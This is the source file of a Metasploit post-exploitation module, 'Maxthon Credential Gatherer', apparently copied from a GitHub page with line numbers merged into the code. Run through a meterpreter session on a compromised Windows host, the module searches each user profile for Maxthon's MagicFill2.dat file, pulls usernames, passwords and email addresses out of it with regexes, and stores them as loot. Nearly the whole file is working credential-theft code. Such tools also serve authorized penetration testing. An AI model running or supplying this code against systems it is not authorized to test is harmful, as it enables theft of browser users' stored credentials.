Path: blob/master/modules/post/windows/gather/credentials/maxthon.rb
21550 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67include Msf::Post::File8include Msf::Post::Windows::UserProfiles9include Msf::Post::Windows::Packrat1011ARTIFACTS =12{13application: 'maxthon',14app_category: 'browsers',15gatherable_artifacts: [16{17filetypes: 'logins',18path: 'AppData',19dir: 'Maxthon3',20artifact_file_name: 'MagicFill2.dat',21description: "Maxthon's sent and received emails",22credential_type: 'text',23regex_search: [24{25extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',26extraction_type: 'credentials',27regex: [28'(?i-mx:password.*)',29'(?i-mx:username.*)'30]31},32{33extraction_description: 'searches for Email TO/FROM address',34extraction_type: 'Email addresses',35regex: [36'(?i-mx:to:.*)',37'(?i-mx:from:.*)'38]39}40]41}42]43}.freeze4445def initialize(info = {})46super(47update_info(48info,49'Name' => 'Maxthon Credential Gatherer',50'Description' => %q{51This module searches for Maxthon credentials on a Windows host.52},53'License' => MSF_LICENSE,54'Author' => [55'Kazuyoshi Maruta',56'Daniel Hallsworth',57'Barwar Salim M',58'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org59],60'Platform' => ['win'],61'SessionTypes' => ['meterpreter'],62'Notes' => {63'Stability' => [CRASH_SAFE],64'Reliability' => [],65'SideEffects' => []66}67)68)6970register_options(71[72OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),73OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),74OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),75# enumerates the options based on the artifacts that are defined below76OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])77]78)79end8081def run82print_status('Filtering based on these selections: ')83print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")84print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")85print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")8687# used to grab files for each user on the remote host88grab_user_profiles.each do |userprofile|89run_packrat(userprofile, ARTIFACTS)90end9192print_status 'PackRat credential sweep completed'93end94end959697